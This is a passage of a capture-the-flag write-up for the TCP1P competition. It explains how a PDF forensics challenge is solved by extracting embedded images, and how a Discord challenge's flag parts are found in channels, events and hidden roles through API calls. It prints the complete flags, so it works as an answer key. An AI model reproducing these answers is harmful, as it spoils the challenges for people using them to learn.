└─$ pdf-parser TCP1P-CTF.pdf
...
obj 10 0
Type: /XObject
Referencing:
Contains stream
<<
/Filter /FlateDecode
/Interpolate false
/Length 12364
/ColorSpace /DeviceRGB
/Type /XObject
/BitsPerComponent 8
/Height 112
/Width 646
/Subtype /Image
>>
obj 11 0
Type: /XObject
Referencing:
Contains stream
<<
/Filter /FlateDecode
/Interpolate false
/Length 8066
/ColorSpace /DeviceRGB
/Type /XObject
/BitsPerComponent 8
/Height 391
/Width 391
/Subtype /Image
>>
...
The simplest way to extract all images embedded inside the pdf is by using online tool. Extract Images from PDF Online for Free (pdfcandy.com)
Indeed we got 2 images, in which the 1st image contains the 2nd part of the flag.
FLAG: TCP1P{D01n9_F023n51C5_0N_pdf_f1L35_15_345y_15N7_17_l3jaf9ci293m1d}
Misc
Another Discord
(29 Solves, 100 Points) https://discord.gg/kzrryCUutP
The 1st part of the flag can be found in the Voice Channel Message
Part 1: TCP1P{d15c0RD_
The 3rd part of the flag can be found in the Events
Part 3: 45_r341ly
The 2nd and 4th part of the flag can be found in hidden roles and hidden channels respectively, using API call
/api/v9/guilds/1154468492259627008/roles
/api/v9/guilds/1154468492259627008/channels
Part 2: d0cUM3n74710n_W
Part 4: H31pFu1}
FLAG: TCP1P{d15c0RD_d0cUM3n74710n_W45_r341ly_H31pFu1}